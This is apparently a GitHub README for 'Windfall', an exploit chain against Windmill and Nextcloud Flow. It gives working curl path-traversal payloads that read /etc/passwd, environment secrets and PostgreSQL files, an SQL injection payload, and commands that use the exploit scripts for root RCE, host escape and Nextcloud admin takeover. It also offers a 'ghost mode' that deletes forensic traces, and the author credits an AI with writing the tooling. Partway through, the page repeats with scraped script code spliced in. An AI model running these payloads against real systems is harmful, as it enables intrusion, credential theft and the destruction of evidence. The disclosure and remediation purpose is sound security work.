Repository files navigation

Windfall

mic drop

Windmill Path Traversal → Credential Leak → Remote Code Execution

Windfall (n.): An unexpected, unearned, or sudden gain or advantage, exactly what attackers get from this vulnerability.

PropertyValue
NameWindfall
CVE (Path Traversal)CVE-2026-29059 (Windmill & Nextcloud Flow)
CVE (SQLi)CVE-2026-23696 (Windmill & Nextcloud Flow)
CVE (Operator Bypass)CVE-2026-22683 (Windmill & Nextcloud Flow)
Affected (Path Traversal)Windmill v1.309.0 – v1.603.2, Nextcloud Flow v1.0.0 – v1.2.2
Affected (SQLi)Windmill v1.276.0 – v1.603.2, Nextcloud Flow v1.0.0 – v1.2.2
FixedWindmill v1.603.3, Nextcloud Flow v1.3.0
Disclosed2026-01-10
CreditChocapikk

CVSS 4.0 Scores

VulnerabilityContextScoreVector
Path TraversalWindmill + Docker socket10.0 💀AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Path TraversalWindmill (no docker)10.0 💀AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Path TraversalNextcloud Flow (proxy)10.0 💀AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
SQLi → PrivescWindmill + Docker socket9.4AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
SQLi → PrivescNextcloud Flow9.4AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Key factors:

  • Windmill standalone: Unauthenticated (PR:N), Docker socket often mounted → host escape (SC/SI/SA:H)
  • Nextcloud Flow (proxy): Also unauthenticated! The vulnerable jobs_u endpoint is access_level=0 (PUBLIC) in Flow's route table
  • SQLi: Requires Windmill account (PR:L), but any operator can escalate to super_admin → RCE

Summary

Two critical vulnerabilities in Windmill:

  1. Unauthenticated Path Traversal: Read arbitrary files, leak credentials, achieve RCE
  2. Authenticated SQL Injection: Exfiltrate any data from Windmill's PostgreSQL database

About This Exploit

This wasn't supposed to be this big.

What started as a simple PoC quickly evolved into a full exploitation framework. I had the opportunity to push the boundaries and see how far I could go in terms of technical sophistication.

How it was built: This exploit was developed through a collaborative workflow with AI assistance. I provided prompts and architectural guidance, while the AI generated the actual code. This allowed me to focus on the "what" and "why" (attack chains, OPSEC requirements, edge cases) while the AI handled the "how" (implementation details, protocol specifications, error handling).

The result is a production-grade framework with:

  • Auto-detection of deployment types (Standalone / Flow Direct / Flow Proxy)
  • Multiple credential leak methods with automatic fallbacks
  • Raw PostgreSQL protocol implementation (SCRAM-SHA-256 from scratch)
  • Self-destruct cleanup using WM_JOB_ID (zero forensic evidence)
  • Modular architecture for extensibility
  • Blind mode support when endpoints are blocked

This demonstrates what's possible when you have the chance to push technical limits. The exploit works in all scenarios, handles edge cases gracefully, and includes advanced OPSEC techniques that go beyond typical PoCs.

Why so sophisticated? Because I could. This was a test of how far we can push exploitation tooling when given the opportunity to build something properly rather than just "making it work". It's also a demonstration of AI-assisted development: with the right prompts and architectural vision, AI can generate production-quality offensive tooling.

Impact

VectorWindmill StandaloneFlow (Direct)Flow (Proxy)
File Read✅ Unauthenticated✅ UnauthenticatedUnauthenticated!
Credential Leak⚠️SUPERADMIN_SECRET (optional)✅ JSON config + PostgreSQL✅ JSON config + PostgreSQL
PostgreSQL Leak⚠️ Separate container (Docker)✅ Same container✅ Same container
Container RCE✅ Root (if secret configured)✅ Root✅ Root
Host Escape✅ Via Docker socket

⚠️ Critical Discovery: The vulnerable jobs_u endpoint is registered with access_level=0 (PUBLIC) in Flow's AppAPI route table. This means no Nextcloud authentication is required to exploit the path traversal via the Nextcloud proxy! Flow deployments are just as vulnerable as standalone Windmill.

Attack Chain

┌─────────────────────────────────────────────────────────────────────────┐
│ WINDFALL │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────┐ ┌──────────────────┐ ┌─────────────┐ │
│ │ Path │ │ Credential │ │ Remote Code │ │
│ │ Traversal │───▶│ Leak │───▶│ Execution │ │
│ │ (Unauth) │ │ │ │ (Root) │ │
│ └─────────────┘ └──────────────────┘ └─────────────┘ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ /etc/passwd 3 Methods: Container RCE │
│ /proc/environ ├─ windmill_users_config.json (Flow) │
│ PostgreSQL files ├─ SUPERADMIN_SECRET (/proc/1/environ) │
│ └─ PostgreSQL files → jwt_secret → forge JWT │
│ │
├─────────────────────────────────────────────────────────────────────────┤
│ PostgreSQL Data Leak (when DB in same container): │
│ │
│ /proc/*/cmdline ──▶ postgres -D /path ──▶ base/*/files ──▶ jwt_secret │
│ │ │
│ ▼ │
│ Forge JWT → RCE │
└─────────────────────────────────────────────────────────────────────────┘

Exploits

ExploitDescriptionAuth Required
windfall_afr.pyPath Traversal → Token Leak → RCE❌ None (all deployments unauth)
windfall_sqli.pySQLi → JWT Forge → Privesc → RCEOperator account (+ NC creds for proxy)
windfall_nc_pivot.pyPath Traversal → APP_SECRET → NC Admin❌ None (same path traversal)

Credential Leak Methods (windfall_afr.py)

The path traversal exploit tries multiple methods to obtain credentials:

PriorityMethodTargetWorks On
1windmill_users_config.json/nc_app_flow_data/...Nextcloud Flow
2SUPERADMIN_SECRET/proc/1/environStandalone (if configured)
3PostgreSQL files/proc → pg_data → jwt_secretSame container (Flow)

Both exploits auto-detect deployment type and adapt accordingly:

DeploymentPath TraversalSQLi
Windmill Standalone✅ Unauthenticated✅ Operator → Super Admin
Nextcloud Flow (Direct)✅ Unauthenticated✅ Operator → Super Admin
Nextcloud Flow (Proxy)Unauthenticated!⚠️ Operator → Super Admin (NC creds REQUIRED)

Note: Flow's vulnerable jobs_u endpoint is access_level=0 (PUBLIC) in the AppAPI database, meaning the proxy passes requests without checking Nextcloud credentials. No Nextcloud authentication is required for path traversal. However, SQLi via proxy REQUIRES Nextcloud credentials because endpoints like /api/auth/login and /api/w/*/folders/* are blocked without Nextcloud authentication.

Test Results

All 6 scenarios tested and confirmed:

╔═══════════════════════════════════════════════════════════════════════════════════╗
║ WINDFALL TEST RESULTS ║
╠═══════════════════════════════════════════════════════════════════════════════════╣
║ # │ Exploit │ Deployment │ Auth Required │ Result ║
╠═══════════════════════════════════════════════════════════════════════════════════╣
║ 1 │ windfall_afr │ Flow Proxy │ ❌ NONE │ ✅ uid=0(root) RCE ║
║ 2 │ windfall_afr │ Flow Direct │ ❌ NONE │ ✅ uid=0(root) RCE ║
║ 3 │ windfall_afr │ Standalone │ ❌ NONE │ ✅ uid=0(root) RCE ║
║ 4 │ windfall_sqli │ Flow Proxy │ ✅ Windmill + NC │ ✅ uid=0(root) RCE ║
║ 5 │ windfall_sqli │ Flow Direct │ ✅ Windmill │ ✅ uid=0(root) RCE ║
║ 6 │ windfall_sqli │ Standalone │ ✅ Windmill │ ✅ uid=0(root) RCE ║
╠═══════════════════════════════════════════════════════════════════════════════════╣
║ 6/6 TESTS PASSED ║
║ (Note: windfall_afr works unauth on all deployments, no Nextcloud creds needed) ║
║ ║
║ Key findings: ║
║ • Flow Proxy: jobs_u endpoint is PUBLIC (access_level=0) → NO AUTH NEEDED! ║
║ • Credential leak: windmill_users_config.json contains plaintext tokens ║
║ • Detection: Works even when /api/version requires auth (fallback traversal) ║
╚═══════════════════════════════════════════════════════════════════════════════════╝

Quick Start

Path Traversal (Unauthenticated RCE)

# Windmill standalone (auto-detects leak method)
python3 windfall_afr.py http://localhost:8000 -c "id"# Nextcloud Flow (direct access to Windmill container)
python3 windfall_afr.py http://<flow-container-ip>:8000 -c "id"# Nextcloud Flow (via proxy - NO auth required! jobs_u is PUBLIC)
python3 windfall_afr.py https://nextcloud.example.com -c "id"# Interactive shell
python3 windfall_afr.py http://localhost:8000
# Read arbitrary file
python3 windfall_afr.py http://localhost:8000 -r /etc/passwd
# Leak credentials only (no RCE)
python3 windfall_afr.py http://localhost:8000 --leak-users
# Force PostgreSQL file leak method (jwt_secret → forge JWT)
python3 windfall_afr.py http://<flow-container-ip>:8000 --leak-postgres
# Host escape (Docker socket)
python3 windfall_afr.py http://localhost:8000 -H
# Execute command on host
python3 windfall_afr.py http://localhost:8000 --host-cmd "id"# Ghost mode: DELETE all job traces from database (zero forensic evidence)
python3 windfall_afr.py http://localhost:8000 -c "id" --clean

SQLi Privilege Escalation (Operator → Super Admin → RCE)

# Windmill standalone
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -c "id"# Nextcloud Flow (direct)
python3 windfall_sqli.py http://<flow-container-ip>:8000 \
-u operator@windmill.dev -p password123 -c "id"# Nextcloud Flow (proxy) - REQUIRES Nextcloud credentials!# Endpoints like /api/auth/login and /api/w/*/folders/* are blocked without NC auth
python3 windfall_sqli.py https://nextcloud.example.com \
--nc-user admin --nc-pass secret \
-u operator@windmill.dev -p password123 -c "id"# Interactive shell
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123
# Host shell
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -H
# Execute command on host
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 --host-cmd "id"# SQLi query only (no RCE)
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -q "SELECT version()"# Ghost mode: DELETE all job traces from database (zero forensic evidence)
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -c "id" --clean

OPSEC: Ghost Mode (--clean)

Both exploits support --clean for operational security. This option:

  1. Marks jobs as deleted via Windmill API (deleted=true)
  2. Completely DELETEs all traces from PostgreSQL using raw protocol:
    • Removes raw_code from v2_job table
    • Removes entries from v2_job_completed table
    • Self-destructs: The cleanup job deletes itself using WM_JOB_ID

Result: Zero forensic evidence. No raw_code, no job history, no traces in the database.

The cleanup uses Windmill's Python execution to implement raw PostgreSQL protocol (SCRAM-SHA-256) from scratch - no external dependencies needed.

Vulnerability Details

Root Cause

// backend/windmill-api/src/jobs.rsasyncfnget_log_file(Path((_w_id, file_p)):Path<(String,String)>) -> error::Result<Response>{let local_file = format!("{TMP_DIR}/logs/{file_p}");// ← No sanitization!// ...}

Proof of Concept

Windmill Standalone (unauthenticated):

# Read /etc/passwd
curl "http://target:8000/api/w/X/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd"# Leak SUPERADMIN_SECRET
curl "http://target:8000/api/w/X/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron"

Nextcloud Flow (NO authentication required!):

# Read /etc/passwd - triple encoding bypasses the proxy chain# Note: The jobs_u endpoint is PUBLIC (access_level=0) - NO Nextcloud auth needed!# No credentials required, works completely unauth!
curl -sk "https://nextcloud/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd"# Leak user tokens and passwords (also unauthenticated)
curl -sk "https://nextcloud/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252Fnc_app_flow_data%25252Fwindmill_users_config.json"

PostgreSQL Data File Leak (Advanced)

When PostgreSQL runs in the same container (Nextcloud Flow), we can extract jwt_secret directly from database files:

# 1. Find PostgreSQL data path via /proc
curl "http://target:8000/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fproc%2F16%2Fcmdline"# Returns: postgres -D /nc_app_flow_data/pgsql# 2. Read PostgreSQL data files containing jwt_secret
curl "http://target:8000/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fnc_app_flow_data%2Fpgsql%2Fbase%2F16385%2F17149"# Binary data contains: jwt_secret + 32-char secret# 3. Forge JWT with leaked secret → RCE

This technique works because:

  • /proc/*/cmdline reveals the PostgreSQL -D data directory
  • PostgreSQL stores table data in binary files under base/<db_oid>/
  • The global_settings table contains the jwt_secret in plaintext
  • With jwt_secret + valid email, we can forge admin JWTs

Nextcloud Flow Proxy Bypass

Nextcloud Flow embeds Windmill behind a Python/FastAPI proxy. The full proxy chain requires triple encoding:

Request → Nextcloud (PHP) → FastAPI → httpx → Windmill
↓ ↓
URL decode URL decode

Bypass: Use triple URL encoding with safe="" to force encoding of ALL characters (%25252F):

What we sendAfter Nextcloud (PHP)After FastAPIhttpx sendsWindmill sees
../../../normalized❌ blocked
%2F//normalized❌ blocked
%252F%2F/normalized❌ blocked
%25252F%252F%2F%2F/

The triple encoding (with safe="" to force encoding of all characters, not standard triple encoding) survives both Nextcloud's PHP decode and FastAPI's decode, leaving %2F for httpx (which doesn't normalize encoded slashes). Windmill then decodes %2F/ and the traversal succeeds.

Nextcloud Pivot via APP_SECRET

Use the same path traversal to leak APP_SECRET from Flow's environ, then create an admin user on Nextcloud.

# Leak APP_SECRET and list users
python3 windfall_nc_pivot.py https://nextcloud.example.com --list-users
# Create admin user
python3 windfall_nc_pivot.py https://nextcloud.example.com --create-admin
# Create admin with specific creds
python3 windfall_nc_pivot.py https://nextcloud.example.com --create-admin -U myadmin -P 'MyP@ss!'# Verify login
python3 windfall_nc_pivot.py https://nextcloud.example.com --verify myadmin 'MyP@ss!'

Impact: Full Nextcloud takeover - create admin, access all files, admin panel.


SQL Injection (Authenticated)

A second vulnerability allows authenticated users to exfiltrate arbitrary data from Windmill's database via JSONB path injection.

Note: The addowner endpoint requires folder ownership, but any authenticated user can create their own folder (no privilege required) and automatically becomes its owner. This makes the vulnerability exploitable by any authenticated user (including operators).

Vulnerable Code

// backend/windmill-api/src/folders.rs:698-699
sqlx::query(&format!("UPDATE folder SET extra_perms = jsonb_set(extra_perms, '{{\"{owner}\"}}', to_jsonb($1), \ true) WHERE name = $2 AND workspace_id = $3 RETURNING extra_perms"))

The owner parameter is directly interpolated into the SQL query without sanitization.

Attack Flow

┌─────────────────────────────────────────────────────────────────┐
│ WINDMILL SQLi │
├─────────────────────────────────────────────────────────────────┤
│ │
│ POST /api/w/{workspace}/folders/addowner/{folder} │
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ Create │ │ Inject SQL │ │ Read Result │ │
│ │ Folder │───▶│ via owner │───▶│ from perms │ │
│ └──────────────┘ └──────────────┘ └──────────────┘ │
│ │ │ │
│ ▼ ▼ │
│ owner=x"}', (SELECT ...)-- extra_perms.x │
│ │
└─────────────────────────────────────────────────────────────────┘

Payload

{
"owner": "x\"}', (SELECT to_jsonb((SELECT password_hash FROM password LIMIT 1)))--"
}

Generated SQL:

UPDATE folder SET extra_perms = jsonb_set(extra_perms, '{"x"}', (SELECT to_jsonb(...)))--"}', ...)

PoC

python3 windfall_sqli.py http://localhost:8000 -u operator@windmill.dev -p password123 -c "id"# Output:# [+] Escalating privileges: → super_admin=True# [+] PRIVESC COMPLETE: Operator → Super Admin → RCE# uid=0(root) gid=0(root) groups=0(root)

Impact

CapabilityStatus
Data Exfiltration✅ Full database access
Password Hashes✅ Leaked
User Tokens✅ Leaked
RCE via PostgreSQL❌ Requires superuser

Detection

Shodan:

http.favicon.hash:-309349605
http.favicon.hash:1153595003
http.html:"svelte-global-loader" http.html:"Windmill"

Remediation

  1. Sanitize file path parameters
  2. Require authentication for get_log_file
  3. Run containers as non-root
  4. Enable nsjail sandboxing
  5. Remove Docker socket access

Metasploit Integration

Full Metasploit Framework integration submitted as 5 PRs:

PRModule/LibraryDescription
#21242Rex::Proto::PostgreSQLBinary PostgreSQL heap file parser
#21244Msf::Exploit::Remote::HTTP::WindmillWindmill HTTP mixin
#21245windmill_path_traversal_rce + windmill_sqli_rce + windmill_file_read + windmill_sqliUnauth RCE (CVE-2026-29059) + SQLi RCE (CVE-2026-23696) + auxiliaries
#21243Msf::Exploit::Remote::HTTP::Nextcloud::AppApiNextcloud AppApi mixin
#21246auxiliary/admin/http/nextcloud_appapi_shellInteractive Nextcloud shell

Merge order: #21242 first, then #21244, then #21245. Independently: #21243 then #21246.


Discovered by Chocapikk - 2026-01-10

About

Windfall - Unauthenticated RCE exploit chain for Windmill & Nextcloud Flow (CVE-2026-29059). Path traversal + credential leak + PostgreSQL heap dump + Nextcloud AppAPI takeover.

Topics

Resources

Stars

18 stars

Watchers

1 watching

Forks

Releases

Packages

Contributors

Languages

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Add copy buttons to all
 blocks\n(function() {\n function addCopyButtons() {\n document.querySelectorAll('pre code').forEach(function(codeBlock) {\n if (codeBlock.parentElement.hasAttribute('data-copy-added')) return;\n codeBlock.parentElement.setAttribute('data-copy-added', 'true');\n \n var btn = document.createElement('button');\n btn.textContent = 'Copy';\n btn.style.cssText = 'position:absolute;top:4px;right:4px;padding:2px 8px;font-size:11px;background:#4ecdc4;border:none;border-radius:4px;color:#1a1a2e;cursor:pointer;opacity:0.7;transition:opacity 0.2s;';\n btn.onmouseover = function() { this.style.opacity = '1'; };\n btn.onmouseout = function() { this.style.opacity = '0.7'; };\n btn.onclick = function() {\n navigator.clipboard.writeText(codeBlock.textContent).then(function() {\n btn.textContent = 'Copied!';\n setTimeout(function() { btn.textContent = 'Copy'; }, 1500);\n });\n };\n codeBlock.parentElement.style.position = 'relative';\n codeBlock.parentElement.appendChild(btn);\n });\n }\n \n addCopyButtons();\n \n // Re-run on dynamic content\n var observer = new MutationObserver(addCopyButtons);\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Add Copy Buttons to Code Blocks");
}
} catch(__e) { console.warn('[Userscript:Add Copy Buttons to Code Blocks]', __e); }
})();
(function(){
try {
var __m = "github.com";
var __re = new RegExp('^' + "github\\.com" + '
Skip to content

Repository files navigation

Windfall

mic drop

Windmill Path Traversal → Credential Leak → Remote Code Execution

Windfall (n.): An unexpected, unearned, or sudden gain or advantage, exactly what attackers get from this vulnerability.

PropertyValue
NameWindfall
CVE (Path Traversal)CVE-2026-29059 (Windmill & Nextcloud Flow)
CVE (SQLi)CVE-2026-23696 (Windmill & Nextcloud Flow)
CVE (Operator Bypass)CVE-2026-22683 (Windmill & Nextcloud Flow)
Affected (Path Traversal)Windmill v1.309.0 – v1.603.2, Nextcloud Flow v1.0.0 – v1.2.2
Affected (SQLi)Windmill v1.276.0 – v1.603.2, Nextcloud Flow v1.0.0 – v1.2.2
FixedWindmill v1.603.3, Nextcloud Flow v1.3.0
Disclosed2026-01-10
CreditChocapikk

CVSS 4.0 Scores

VulnerabilityContextScoreVector
Path TraversalWindmill + Docker socket10.0 💀AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Path TraversalWindmill (no docker)10.0 💀AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Path TraversalNextcloud Flow (proxy)10.0 💀AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
SQLi → PrivescWindmill + Docker socket9.4AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
SQLi → PrivescNextcloud Flow9.4AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Key factors:

  • Windmill standalone: Unauthenticated (PR:N), Docker socket often mounted → host escape (SC/SI/SA:H)
  • Nextcloud Flow (proxy): Also unauthenticated! The vulnerable jobs_u endpoint is access_level=0 (PUBLIC) in Flow's route table
  • SQLi: Requires Windmill account (PR:L), but any operator can escalate to super_admin → RCE

Summary

Two critical vulnerabilities in Windmill:

  1. Unauthenticated Path Traversal: Read arbitrary files, leak credentials, achieve RCE
  2. Authenticated SQL Injection: Exfiltrate any data from Windmill's PostgreSQL database

About This Exploit

This wasn't supposed to be this big.

What started as a simple PoC quickly evolved into a full exploitation framework. I had the opportunity to push the boundaries and see how far I could go in terms of technical sophistication.

How it was built: This exploit was developed through a collaborative workflow with AI assistance. I provided prompts and architectural guidance, while the AI generated the actual code. This allowed me to focus on the "what" and "why" (attack chains, OPSEC requirements, edge cases) while the AI handled the "how" (implementation details, protocol specifications, error handling).

The result is a production-grade framework with:

  • Auto-detection of deployment types (Standalone / Flow Direct / Flow Proxy)
  • Multiple credential leak methods with automatic fallbacks
  • Raw PostgreSQL protocol implementation (SCRAM-SHA-256 from scratch)
  • Self-destruct cleanup using WM_JOB_ID (zero forensic evidence)
  • Modular architecture for extensibility
  • Blind mode support when endpoints are blocked

This demonstrates what's possible when you have the chance to push technical limits. The exploit works in all scenarios, handles edge cases gracefully, and includes advanced OPSEC techniques that go beyond typical PoCs.

Why so sophisticated? Because I could. This was a test of how far we can push exploitation tooling when given the opportunity to build something properly rather than just "making it work". It's also a demonstration of AI-assisted development: with the right prompts and architectural vision, AI can generate production-quality offensive tooling.

Impact

VectorWindmill StandaloneFlow (Direct)Flow (Proxy)
File Read✅ Unauthenticated✅ UnauthenticatedUnauthenticated!
Credential Leak⚠️SUPERADMIN_SECRET (optional)✅ JSON config + PostgreSQL✅ JSON config + PostgreSQL
PostgreSQL Leak⚠️ Separate container (Docker)✅ Same container✅ Same container
Container RCE✅ Root (if secret configured)✅ Root✅ Root
Host Escape✅ Via Docker socket

⚠️ Critical Discovery: The vulnerable jobs_u endpoint is registered with access_level=0 (PUBLIC) in Flow's AppAPI route table. This means no Nextcloud authentication is required to exploit the path traversal via the Nextcloud proxy! Flow deployments are just as vulnerable as standalone Windmill.

Attack Chain

┌─────────────────────────────────────────────────────────────────────────┐
│ WINDFALL │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────┐ ┌──────────────────┐ ┌─────────────┐ │
│ │ Path │ │ Credential │ │ Remote Code │ │
│ │ Traversal │───▶│ Leak │───▶│ Execution │ │
│ │ (Unauth) │ │ │ │ (Root) │ │
│ └─────────────┘ └──────────────────┘ └─────────────┘ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ /etc/passwd 3 Methods: Container RCE │
│ /proc/environ ├─ windmill_users_config.json (Flow) │
│ PostgreSQL files ├─ SUPERADMIN_SECRET (/proc/1/environ) │
│ └─ PostgreSQL files → jwt_secret → forge JWT │
│ │
├─────────────────────────────────────────────────────────────────────────┤
│ PostgreSQL Data Leak (when DB in same container): │
│ │
│ /proc/*/cmdline ──▶ postgres -D /path ──▶ base/*/files ──▶ jwt_secret │
│ │ │
│ ▼ │
│ Forge JWT → RCE │
└─────────────────────────────────────────────────────────────────────────┘

Exploits

ExploitDescriptionAuth Required
windfall_afr.pyPath Traversal → Token Leak → RCE❌ None (all deployments unauth)
windfall_sqli.pySQLi → JWT Forge → Privesc → RCEOperator account (+ NC creds for proxy)
windfall_nc_pivot.pyPath Traversal → APP_SECRET → NC Admin❌ None (same path traversal)

Credential Leak Methods (windfall_afr.py)

The path traversal exploit tries multiple methods to obtain credentials:

PriorityMethodTargetWorks On
1windmill_users_config.json/nc_app_flow_data/...Nextcloud Flow
2SUPERADMIN_SECRET/proc/1/environStandalone (if configured)
3PostgreSQL files/proc → pg_data → jwt_secretSame container (Flow)

Both exploits auto-detect deployment type and adapt accordingly:

DeploymentPath TraversalSQLi
Windmill Standalone✅ Unauthenticated✅ Operator → Super Admin
Nextcloud Flow (Direct)✅ Unauthenticated✅ Operator → Super Admin
Nextcloud Flow (Proxy)Unauthenticated!⚠️ Operator → Super Admin (NC creds REQUIRED)

Note: Flow's vulnerable jobs_u endpoint is access_level=0 (PUBLIC) in the AppAPI database, meaning the proxy passes requests without checking Nextcloud credentials. No Nextcloud authentication is required for path traversal. However, SQLi via proxy REQUIRES Nextcloud credentials because endpoints like /api/auth/login and /api/w/*/folders/* are blocked without Nextcloud authentication.

Test Results

All 6 scenarios tested and confirmed:

╔═══════════════════════════════════════════════════════════════════════════════════╗
║ WINDFALL TEST RESULTS ║
╠═══════════════════════════════════════════════════════════════════════════════════╣
║ # │ Exploit │ Deployment │ Auth Required │ Result ║
╠═══════════════════════════════════════════════════════════════════════════════════╣
║ 1 │ windfall_afr │ Flow Proxy │ ❌ NONE │ ✅ uid=0(root) RCE ║
║ 2 │ windfall_afr │ Flow Direct │ ❌ NONE │ ✅ uid=0(root) RCE ║
║ 3 │ windfall_afr │ Standalone │ ❌ NONE │ ✅ uid=0(root) RCE ║
║ 4 │ windfall_sqli │ Flow Proxy │ ✅ Windmill + NC │ ✅ uid=0(root) RCE ║
║ 5 │ windfall_sqli │ Flow Direct │ ✅ Windmill │ ✅ uid=0(root) RCE ║
║ 6 │ windfall_sqli │ Standalone │ ✅ Windmill │ ✅ uid=0(root) RCE ║
╠═══════════════════════════════════════════════════════════════════════════════════╣
║ 6/6 TESTS PASSED ║
║ (Note: windfall_afr works unauth on all deployments, no Nextcloud creds needed) ║
║ ║
║ Key findings: ║
║ • Flow Proxy: jobs_u endpoint is PUBLIC (access_level=0) → NO AUTH NEEDED! ║
║ • Credential leak: windmill_users_config.json contains plaintext tokens ║
║ • Detection: Works even when /api/version requires auth (fallback traversal) ║
╚═══════════════════════════════════════════════════════════════════════════════════╝

Quick Start

Path Traversal (Unauthenticated RCE)

# Windmill standalone (auto-detects leak method)
python3 windfall_afr.py http://localhost:8000 -c "id"# Nextcloud Flow (direct access to Windmill container)
python3 windfall_afr.py http://<flow-container-ip>:8000 -c "id"# Nextcloud Flow (via proxy - NO auth required! jobs_u is PUBLIC)
python3 windfall_afr.py https://nextcloud.example.com -c "id"# Interactive shell
python3 windfall_afr.py http://localhost:8000
# Read arbitrary file
python3 windfall_afr.py http://localhost:8000 -r /etc/passwd
# Leak credentials only (no RCE)
python3 windfall_afr.py http://localhost:8000 --leak-users
# Force PostgreSQL file leak method (jwt_secret → forge JWT)
python3 windfall_afr.py http://<flow-container-ip>:8000 --leak-postgres
# Host escape (Docker socket)
python3 windfall_afr.py http://localhost:8000 -H
# Execute command on host
python3 windfall_afr.py http://localhost:8000 --host-cmd "id"# Ghost mode: DELETE all job traces from database (zero forensic evidence)
python3 windfall_afr.py http://localhost:8000 -c "id" --clean

SQLi Privilege Escalation (Operator → Super Admin → RCE)

# Windmill standalone
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -c "id"# Nextcloud Flow (direct)
python3 windfall_sqli.py http://<flow-container-ip>:8000 \
-u operator@windmill.dev -p password123 -c "id"# Nextcloud Flow (proxy) - REQUIRES Nextcloud credentials!# Endpoints like /api/auth/login and /api/w/*/folders/* are blocked without NC auth
python3 windfall_sqli.py https://nextcloud.example.com \
--nc-user admin --nc-pass secret \
-u operator@windmill.dev -p password123 -c "id"# Interactive shell
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123
# Host shell
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -H
# Execute command on host
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 --host-cmd "id"# SQLi query only (no RCE)
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -q "SELECT version()"# Ghost mode: DELETE all job traces from database (zero forensic evidence)
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -c "id" --clean

OPSEC: Ghost Mode (--clean)

Both exploits support --clean for operational security. This option:

  1. Marks jobs as deleted via Windmill API (deleted=true)
  2. Completely DELETEs all traces from PostgreSQL using raw protocol:
    • Removes raw_code from v2_job table
    • Removes entries from v2_job_completed table
    • Self-destructs: The cleanup job deletes itself using WM_JOB_ID

Result: Zero forensic evidence. No raw_code, no job history, no traces in the database.

The cleanup uses Windmill's Python execution to implement raw PostgreSQL protocol (SCRAM-SHA-256) from scratch - no external dependencies needed.

Vulnerability Details

Root Cause

// backend/windmill-api/src/jobs.rsasyncfnget_log_file(Path((_w_id, file_p)):Path<(String,String)>) -> error::Result<Response>{let local_file = format!("{TMP_DIR}/logs/{file_p}");// ← No sanitization!// ...}

Proof of Concept

Windmill Standalone (unauthenticated):

# Read /etc/passwd
curl "http://target:8000/api/w/X/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd"# Leak SUPERADMIN_SECRET
curl "http://target:8000/api/w/X/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron"

Nextcloud Flow (NO authentication required!):

# Read /etc/passwd - triple encoding bypasses the proxy chain# Note: The jobs_u endpoint is PUBLIC (access_level=0) - NO Nextcloud auth needed!# No credentials required, works completely unauth!
curl -sk "https://nextcloud/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd"# Leak user tokens and passwords (also unauthenticated)
curl -sk "https://nextcloud/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252Fnc_app_flow_data%25252Fwindmill_users_config.json"

PostgreSQL Data File Leak (Advanced)

When PostgreSQL runs in the same container (Nextcloud Flow), we can extract jwt_secret directly from database files:

# 1. Find PostgreSQL data path via /proc
curl "http://target:8000/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fproc%2F16%2Fcmdline"# Returns: postgres -D /nc_app_flow_data/pgsql# 2. Read PostgreSQL data files containing jwt_secret
curl "http://target:8000/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fnc_app_flow_data%2Fpgsql%2Fbase%2F16385%2F17149"# Binary data contains: jwt_secret + 32-char secret# 3. Forge JWT with leaked secret → RCE

This technique works because:

  • /proc/*/cmdline reveals the PostgreSQL -D data directory
  • PostgreSQL stores table data in binary files under base/<db_oid>/
  • The global_settings table contains the jwt_secret in plaintext
  • With jwt_secret + valid email, we can forge admin JWTs

Nextcloud Flow Proxy Bypass

